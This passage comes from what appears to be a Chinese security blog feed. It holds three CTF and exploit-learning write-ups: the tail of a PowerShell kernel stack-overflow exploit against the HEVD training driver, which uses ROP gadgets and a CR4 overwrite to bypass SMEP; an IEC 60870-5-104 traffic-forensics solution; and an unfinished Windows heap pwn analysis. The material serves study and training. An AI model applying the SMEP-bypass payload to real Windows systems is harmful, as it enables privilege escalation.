class="line"><span class="variable">$dwSegBaseAddr</span> = <span class="number">0</span>x401000</span><br><span class="line"><span class="variable">$dwSegOffset</span> = <span class="number">0</span>x1000</span><br><span class="line"><span class="variable">$dwBasePOPEAX</span> = <span class="number">0</span>x0048BF1D</span><br><span class="line"><span class="variable">$dwBaseMOVCR4</span> = <span class="number">0</span>x0057DF86</span><br><span class="line"><span class="variable">$dwRealMOVCR4</span> = <span class="variable">$dwBaseMOVCR4</span> - <span class="variable">$dwSegBaseAddr</span> + <span class="variable">$leakAddress</span> + <span class="variable">$dwSegOffset</span></span><br><span class="line"><span class="variable">$dwRealPOPEAX</span> = <span class="variable">$dwBasePOPEAX</span> - <span class="variable">$dwSegBaseAddr</span> + <span class="variable">$leakAddress</span> + <span class="variable">$dwSegOffset</span></span><br><span class="line"><span class="variable">$dwCR4</span> = <span class="number">0</span>x406e9</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] pop eax is <span class="variable">$</span>(<span class="variable">$dwRealPOPEAX</span>) `n[+] mov cr4 is <span class="variable">$</span>(<span class="variable">$dwRealMOVCR4</span>)`n&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># finally we write buffer</span></span><br><span class="line"><span class="variable">$Buffer</span> = [<span class="built_in">Byte</span>[]](<span class="number">0</span>x41)*<span class="variable">$dwSize</span> + [<span class="type">System.BitConverter</span>]::GetBytes(<span class="variable">$dwRealPOPEAX</span>) + [<span class="built_in">Byte</span>[]](<span class="number">0</span>x41)*<span class="number">8</span> + [<span class="type">System.BitConverter</span>]::GetBytes(<span class="variable">$dwCR4</span>) + [<span class="type">System.BitConverter</span>]::GetBytes(<span class="variable">$dwRealMOVCR4</span>) + <span class="variable">$EIP</span></span><br><span class="line"></span><br><span class="line">[<span class="type">EVD2</span>]::DeviceIoControl(<span class="variable">$hDevice</span>, <span class="number">0</span>x222003, <span class="variable">$Buffer</span>, <span class="variable">$Buffer</span>.Length, <span class="variable">$null</span>, <span class="number">0</span>, [<span class="type">ref</span>]<span class="number">0</span>, [<span class="type">System.IntPtr</span>]::Zero)|<span class="built_in">Out-null</span></span><br></pre></td></tr></table></figure><h3 id="攻击结果">攻击结果</h3><p>不知道为啥，提权有时候会失败，不过失败了似乎也没有进入蓝屏的样子…<br><img src="/2020/10/16/WindowKernelExploit01/win03.png" alt=""><br>使用powershell进行攻击的结果如下<br><img src="/2020/10/16/WindowKernelExploit01/win04.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;利用HEVD学习windows kernel exploit 正式篇1 StackOverflow&lt;/p&gt;
&lt;p&gt;本篇转自安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/218682&quot;&gt;https://www.anquanke.com/post/id/218682&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;more-window-kernel-exploit-01-stackoverflow&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>DianfengGeek-baby_forenics</title>
    <link href="https://showlinkroom.me/2020/09/26/DianfengGeek-baby-foreniscs/"/>
    <id>https://showlinkroom.me/2020/09/26/DianfengGeek-baby-foreniscs/</id>
    <published>2020-09-26T13:11:32.000Z</published>
    <updated>2020-09-26T14:05:12.065Z</updated>
    
    <content type="html"><![CDATA[<p>今天蹭着学弟的队伍，玩了一下CTF，看到了一个有趣的Misc题目，这里记录一下</p><h2 id="巅峰极客题解-baby-forenics">巅峰极客题解 Baby Forenics</h2><span id="more"></span><h2 id="初步分析">初步分析</h2><p>题目只给了一个流量包，打开之后里面基本上都看不懂。。。不过发现里面有一个协议的名字很扎眼，叫做<code>IEC 60870-5 104</code>:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/protocol.png" alt=""><br>这是个啥玩意儿？？？不过misc向来都是学习新的协议的，于是一通搜索，搜出来写奇奇怪怪的文章，不过好像都提到说，这个协议是一个用于电力行业采用的应用通信协议。那只能假设出题人真的再考我们这个的知识点了，于是找了几个文档:<br><a href="https://www.docin.com/p-284939555.html?docfrom=rrela">比较宽泛的文档</a><br><a href="http://www.doc88.com/p-934448850754.html">讲的比较细致</a><br><a href="https://infosys.beckhoff.com/english.php?content=../content/1033/tcplclibiec870_5_104/html/tcplclibiec870_5_104_telegrammstructure.htm&amp;id">这里有格式图</a></p><p>从那篇格式图的博客中，我们能知道，这种协议被称为APDU（Application Protocol Data Unit 应用程序信息单元），结构如下:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/protocolframe.png" alt=""><br>可以看到它的魔数为0x68。看到我们的流量包，好像还真的出现过这个数字:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/IECstart.png" alt=""><br>那看来考点没找错，就是考我们这个协议的事情</p><h2 id="iec-60870-5-104-学习笔记">IEC 60870-5 104 学习笔记</h2><p>由于是为了做题目，所以是飞快的过了一遍这个协议的内容。</p><h3 id="协议种类-i-s-u">协议种类 ---- I, S, U</h3><p>大致看了一下，协议分成三种类型的</p><ul><li>I类型：编号的信息传输帧（通俗点来说就是主要传数据的）</li><li>S类型：编号的监视功能（个人理解就是校验帧一类的）</li><li>U类型：控制功能（也就是用于控制是否发送帧之类的）</li></ul><h3 id="协议传输与内部计数器">协议传输与内部计数器</h3><p>假设有A，B两个站使用这个协议进行通信，双方在通信过程中，内部都会维持三个计数器，分别是</p><ul><li>V(S):send，发送端的计数器（也就是自己发出去的帧数），每次发送一个数据包自增1</li><li>V®:recive，接收的计数器（也就是自己收到的帧数），每次接受一个数据包自增1</li><li>Ack:<strong>接收</strong>到的数据包中的V®值</li></ul><p>用一个实例来说明一下:<br>假设A向B发送了一个I类型的数据包，那么发送包的当下，因为是第一个发送的包，所有的值都为初始值，所以A中的三个计数器为</p><ul><li>V(S)=0</li><li>V®=0</li><li>ACK=0</li></ul><p>所以整个发送过程就类似</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A                   B</span><br><span class="line">        I(0,0)</span><br><span class="line">     --------&gt;</span><br></pre></td></tr></table></figure><p>其中,I中记录的内容为I(V(S), V®)，具体的格式后面会提到</p><p>那假设A又往B发送了一个I类型的数据包，那么当发送的时候，A中的V(S)已经记录过第一次发送的数据了。状态变成了</p><ul><li>V(S)=1</li><li>V®=0</li><li>ACK=0</li></ul><p>那么发送过程会变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A                   B</span><br><span class="line">        I(1,0)</span><br><span class="line">     --------&gt;</span><br></pre></td></tr></table></figure><p>假设之后B要回复一个数据包，那么我们来看一下当前B中的数据包的形式:</p><ul><li>V(S)=0</li><li>V®=2</li><li>ACK=0</li></ul><p>于是就变成了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A                   B</span><br><span class="line">        I(0,2)</span><br><span class="line">     &lt;--------</span><br></pre></td></tr></table></figure><p>再之后，A要回复B一个数据包，此时A中的状态为</p><ul><li>V(S)=2</li><li>V®=1</li><li>ACK=2</li></ul><p>那么发送的时候数据包中内容就为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A                   B</span><br><span class="line">        I(2,1)</span><br><span class="line">     --------&gt;</span><br></pre></td></tr></table></figure><h3 id="协议组成">协议组成</h3><p>这个协议APDU是由两部分组成的:</p><ul><li>APCI = Application Protocol Control Information 应用协议控制信息</li><li>ASDU = Application Service Data Unit 应用服务数据单元</li></ul><h4 id="apci">APCI</h4><p>前面这个APCI其实就是相当于一些常见通信协议中的协议头，用来记录一些基本信息的:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/APCIheader.png" alt=""><br>如上，我们结合一下我们实际的数据包一起看:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/IECstart.png" alt=""></p><ul><li>68:开头数据</li><li>0e:表示当前ASDU数据包的长度</li><li>最低bit用于表示当前数据包为I类型</li></ul><p>然后的这个Control Field控制域，会因为数据包种类不同而不同：</p><ul><li>I: 这里的4个字节分别表示发送者和接收者</li><li>S: 这里的4个字节只有后两个字节在使用，表示接收者</li><li>U: 这里只有第一个字节使用，用于表示当前的控制状态</li></ul><p><img src="/2020/09/26/DianfengGeek-baby-foreniscs/controlfield.png" alt=""></p><p>然后回到我们前面的示例中，我们看的是一个I种类的数据包</p><ul><li>0400和0200:表示发送者和接收者（小端）。但是根据协议，它们的最低bit是未被使用的，所以其其实表示的是发送者和接收者为2和1，正好就是I(2,1)</li></ul><p>我们可以看一下别的数据类型的包:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/Sframe.png" alt=""></p><ul><li>0100:当前数据包为S类型，并且除了最低的两个bit其余bit并未使用</li><li>0400:表示接收者。这里表示的是接收者的计数器为2</li></ul><p><img src="/2020/09/26/DianfengGeek-baby-foreniscs/Uframe.png" alt=""></p><p>43中的低量比特表示当前包类型为U，而高6bit表示当前控制为TESTER act。这个数据包之后需要跟随一个TESTER con的U类型包作为回应，用来确保当前传输的稳定性</p><h4 id="asdu">ASDU</h4><p>之后的数据表示的是ASDU，也就是数据信息，我猜测可以将这里理解成，从这里开始表示的是传输的内容：<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/asdu.png" alt=""></p><ul><li>01:表示当前信息的类型，显示是M_SP_NA_1(1)，也就是遥信单点信息的意思</li><li>下一个01:表示的是信息的个数，也即是之后1个</li><li>03:表示传输原因，这里的原因是突发传输</li><li>00:表示传输发起人的地址，这里就是0</li><li>0100:表示通用ASDU的地址，同样是小段，这里是0001的意思</li><li>070000:表示当前对象地址，这里是7</li><li>01:表示当前传输的品质（不知道为啥是这么个翻译），这里可以看wireshark的解析:<br><img src="/2020/09/26/DianfengGeek-baby-foreniscs/wiresharkinfo.png" alt=""><br>总的来说，就是当前的SPI（状态）属于合（？）<br>反正总的来说，这个状态表示的是1，那么可以猜测如果没有信息传输的话，默认的信息应该为0</li></ul><h2 id="题解">题解</h2><p>大致学习了一下整个协议，发现这个协议本质上<strong>是一个信息传输协议</strong>。我猜测这个协议应该是用来传输一些非常底层的数据的，所以很可能<strong>每次tcp都只会传输一个bit的信息</strong>，而选择对象的下表，应该就是<strong>当前对象的地址</strong>。那么我们就只需要将这个传输过程中提到的对象地址取出来，将其设为1，其余比特设为0，那就能得到整个传输的数据了!</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">content = [<span class="string">&#x27;0&#x27;</span>]*<span class="number">100</span></span><br><span class="line">content[<span class="number">2</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">3</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">6</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">7</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0xA</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0xb</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0xd</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0xe</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x13</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x14</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x16</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x1a</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x1b</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x1f</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x20</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x1e</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x28</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x26</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x27</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x25</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x22</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x24</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x2a</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x2f</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x2e</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x32</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x36</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x35</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x40</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x3a</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x42</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x46</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x48</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">content[<span class="number">0x47</span>] = <span class="string">&#x27;1&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getrevnum</span>(<span class="params">bits</span>):</span><br><span class="line">    re  =<span class="string">&#x27;&#x27;</span>.join(<span class="built_in">reversed</span>(bits))</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(re, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getnum</span>(<span class="params">bits</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(bits, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="built_in">len</span>(content), <span class="number">8</span>):</span><br><span class="line">    <span class="keyword">if</span> i + <span class="number">8</span> &gt; <span class="built_in">len</span>(content):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    each_content = <span class="string">&#x27;&#x27;</span>.join(content[i:i+<span class="number">8</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(getnum(each_content)),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="后记">后记</h2><p>这次比赛除了这个题目其实还有一些比较标准的CTF题，有空的话再整理到博客上吧。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;今天蹭着学弟的队伍，玩了一下CTF，看到了一个有趣的Misc题目，这里记录一下&lt;/p&gt;
&lt;h2 id=&quot;巅峰极客题解-baby-forenics&quot;&gt;巅峰极客题解 Baby Forenics&lt;/h2&gt;</summary>
    
    
    
    <category term="Misc" scheme="https://showlinkroom.me/categories/Misc/"/>
    
    
    <category term="Forensics" scheme="https://showlinkroom.me/tags/Forensics/"/>
    
  </entry>
  
  <entry>
    <title>SCTF-EasyWinPwn</title>
    <link href="https://showlinkroom.me/2020/07/16/SCTF-EasyWinPwn/"/>
    <id>https://showlinkroom.me/2020/07/16/SCTF-EasyWinPwn/</id>
    <published>2020-07-15T17:30:48.000Z</published>
    <updated>2020-07-16T13:31:30.415Z</updated>
    
    <content type="html"><![CDATA[<p>上上周末打了个比赛，wp硬是拖到了这周才写完。。。。</p><span id="more"></span><p>这个题目牵扯到Windows下的堆的基本运行状态，不熟悉的可以先看上篇介绍Windows heap的文章熟悉一下~</p><h2 id="程序分析">程序分析</h2><p>某种意义上来说是传统的不能再传统的堆利用，不过是Windows平台下的。首先看到有四个基本功能:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> hHeap = <span class="built_in">HeapCreate</span>(<span class="number">1u</span>, <span class="number">0x2000</span>u, <span class="number">0x2000</span>u);</span><br><span class="line"> puts_ptr = (<span class="built_in">void</span> (__cdecl *)(<span class="type">const</span> <span class="type">char</span> *))puts;</span><br><span class="line"> MyHeapEntry_0 = (MyHeapEntry *)<span class="built_in">HeapAlloc</span>(hHeap, <span class="number">9u</span>, <span class="number">0x80</span>u);</span><br><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> &#123;</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;/----------------------\\&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;|   1: Alloc.          |&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;|   2: Delete.         |&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;|   3: Show.           |&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;|   4: Edit.           |&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;|   5: Exit.           |&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;\\----------------------/&quot;</span>);</span><br><span class="line">   <span class="built_in">puts_ptr</span>(<span class="string">&quot;option &gt;&quot;</span>);</span><br></pre></td></tr></table></figure><p>常见的全局堆对象，和常见分配删除显示修改。首先我们看到一个用来存放我们分配内存的结构体:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">MyHeapEntry</span>&#123;</span><br><span class="line">    <span class="type">void</span>* puts_ptr;<span class="comment">//最低4字节用来存放当前分配的大小</span></span><br><span class="line">    <span class="type">void</span>* content;</span><br><span class="line">&#125;</span><br><span class="line">MyHeapEntry hHeap[<span class="number">16</span>];</span><br></pre></td></tr></table></figure><p>这里居然存放了一个函数指针，基本上就是一个巨大的伏笔，之后肯定是需要将这个地方的函数指针给修改了的。</p><h4 id="分配相关的逻辑">分配相关的逻辑:</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts_ptr</span>(<span class="string">&quot;size &gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf_</span>(<span class="string">&quot;%ud&quot;</span>, &amp;v19);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br><span class="line"><span class="keyword">if</span> ( v19 &gt; <span class="number">0x90</span> )</span><br><span class="line">  <span class="keyword">break</span>;</span><br><span class="line">v6 = (v19 &gt;&gt; <span class="number">4</span>) + <span class="number">1</span>;</span><br><span class="line">v7 = <span class="built_in">HeapAlloc</span>(hHeap, <span class="number">1u</span>, v6);</span><br><span class="line">v8 = MyHeapEntry_0;</span><br><span class="line">MyHeapEntry_0[offset].func_ptr = (<span class="type">unsigned</span> <span class="type">int</span>)puts | v6;</span><br><span class="line">v8[offset].content = (<span class="type">int</span>)v7;</span><br></pre></td></tr></table></figure><p>这里跳过部分堆块检测。这里首先会将我们输入的大小<code>size&gt;&gt;4</code>，然后放在我们之前提到的<code>MyHeapEntry.puts_ptr</code>的最低字节处。猜测这边是为了减小堆所占有的空间，所以只放了四个字节。<strong>但是！这里粗心的申请了右移后的大小，也就是说实际上content的大小会远远小于我们申请的大小</strong>。</p><h4 id="删除相关的逻辑">删除相关的逻辑:</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts_ptr</span>(<span class="string">&quot;index &gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf_</span>(<span class="string">&quot;%ud&quot;</span>, &amp;i);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br><span class="line"><span class="keyword">if</span> ( i &gt;= <span class="number">0x10</span> || !MyHeapEntry_0[i].content )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_29;</span><br><span class="line"><span class="built_in">HeapFree</span>(hHeap, <span class="number">1u</span>, (LPVOID)MyHeapEntry_0[i].content);</span><br><span class="line"><span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure><p>经典UAF，删除之后啥都不做，基本上leak的点就找到了。先delete这个chunk，然后直接打印即可泄露。</p><h4 id="打印相关的逻辑">打印相关的逻辑:</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts_ptr</span>(<span class="string">&quot;index &gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf_</span>(<span class="string">&quot;%ud&quot;</span>, &amp;index_);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br><span class="line"><span class="keyword">if</span> ( index_ &gt;= <span class="number">0x10</span> || !MyHeapEntry_0[index_].content )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_29;</span><br><span class="line">((<span class="built_in">void</span> (__cdecl *)(<span class="type">int</span>))(MyHeapEntry_0[index_].func_ptr &amp; <span class="number">0xFFFFFFF0</span>))(MyHeapEntry_0[index_].content);</span><br><span class="line"><span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure><p>没有check，直接call之前存放在堆上的函数指针，而且正好还会传一个参数进去。。。。看起来只要能够有一个任意地址修改就能够做到利用了</p><h4 id="修改相关的逻辑">修改相关的逻辑:</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts_ptr</span>(<span class="string">&quot;index &gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf_</span>(<span class="string">&quot;%ud&quot;</span>, &amp;index);</span><br><span class="line"><span class="built_in">getchar</span>();</span><br><span class="line"><span class="keyword">if</span> ( index &gt;= <span class="number">0x10</span> )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_29;</span><br><span class="line">j = index;</span><br><span class="line"><span class="keyword">if</span> ( !MyHeapEntry_0[index].content )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_29;</span><br><span class="line"><span class="built_in">puts_ptr</span>(<span class="string">&quot;content  &gt;&quot;</span>);</span><br><span class="line">k = <span class="number">0</span>;</span><br><span class="line">func = MyHeapEntry_0[j].func_ptr;</span><br><span class="line">cont = MyHeapEntry_0[j].content;</span><br><span class="line">real_size = <span class="number">16</span> * (func &amp; <span class="number">0xF</span>);</span><br><span class="line">chr = <span class="built_in">getchar</span>();</span><br><span class="line"><span class="keyword">if</span> ( chr != <span class="number">10</span> )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">    *(_BYTE *)(k++ + cont) = chr;</span><br><span class="line">    <span class="keyword">if</span> ( k == real_size - <span class="number">1</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    chr = <span class="built_in">getchar</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( chr != <span class="number">10</span> );</span><br><span class="line">    puts_ptr = (<span class="built_in">void</span> (__cdecl *)(<span class="type">const</span> <span class="type">char</span> *))puts;</span><br><span class="line">&#125;</span><br><span class="line">*(_BYTE *)(k + cont) = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure><p>这里就能发现之前申请内存的那个问题暴露。首先可以注意到，size的大小正如之前猜测的那样，<strong>是存放在最低字节的数字*16</strong>，而我们申请的内存大小仅仅为最低字节的数字那么小，所以这边<strong>肯定会发生堆溢出</strong>。</p><h2 id="利用思路">利用思路</h2><p>经典的题目，经典的思路。pwn题两大思路：</p><ul><li>leak</li><li>pwn!</li></ul><h3 id="leak-数据">Leak 数据</h3><p>这边为了方便描述，我们将<code>MyHeapEntry_0</code>中存放的每一个元素称为<code>block</code></p><h4 id="leak-堆相关地址">Leak 堆相关地址</h4><p>首先简单科普一哈，Windows下的ASLR和Linux有点点不一样。Windows的ASLR是当image被加载到进程中的时候，<strong>整个Image都是ASLR的，包含代码段</strong>。而Linux还要开启<code>PIE</code>才会让代码段也随机化。</p><h4 id="如何查看aslr">如何查看ASLR</h4><p>在Windows下可以使用指令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dumpbin /headers EasyWinHeap.exe</span><br></pre></td></tr></table></figure><p>检查当前exe开启了哪些保护。这个dumpbin是VS提供的一个tool，基本上装了vs的都会附带这个exe，使用vs的那个<code>Native Tools Command Prompt</code>的话即可直接敲指令使用了。找打这个exe的<code>Optional header values</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">OPTIONAL HEADER VALUES</span><br><span class="line">             10B magic # (PE32)</span><br><span class="line">           14.26 linker version</span><br><span class="line">            1000 size of code</span><br><span class="line">            1600 size of initialized data</span><br><span class="line">               0 size of uninitialized data</span><br><span class="line">            1584 entry point (00401584)</span><br><span class="line">            1000 base of code</span><br><span class="line">            2000 base of data</span><br><span class="line">          400000 image base (00400000 to 00405FFF)</span><br><span class="line">            1000 section alignment</span><br><span class="line">             200 file alignment</span><br><span class="line">            6.00 operating system version</span><br><span class="line">            0.00 image version</span><br><span class="line">            6.00 subsystem version</span><br><span class="line">               0 Win32 version</span><br><span class="line">            6000 size of image</span><br><span class="line">             400 size of headers</span><br><span class="line">               0 checksum</span><br><span class="line">               3 subsystem (Windows CUI)</span><br><span class="line">            8140 DLL characteristics</span><br><span class="line">                   Dynamic base   &lt;------</span><br><span class="line">                   NX compatible</span><br><span class="line">                   Terminal Server 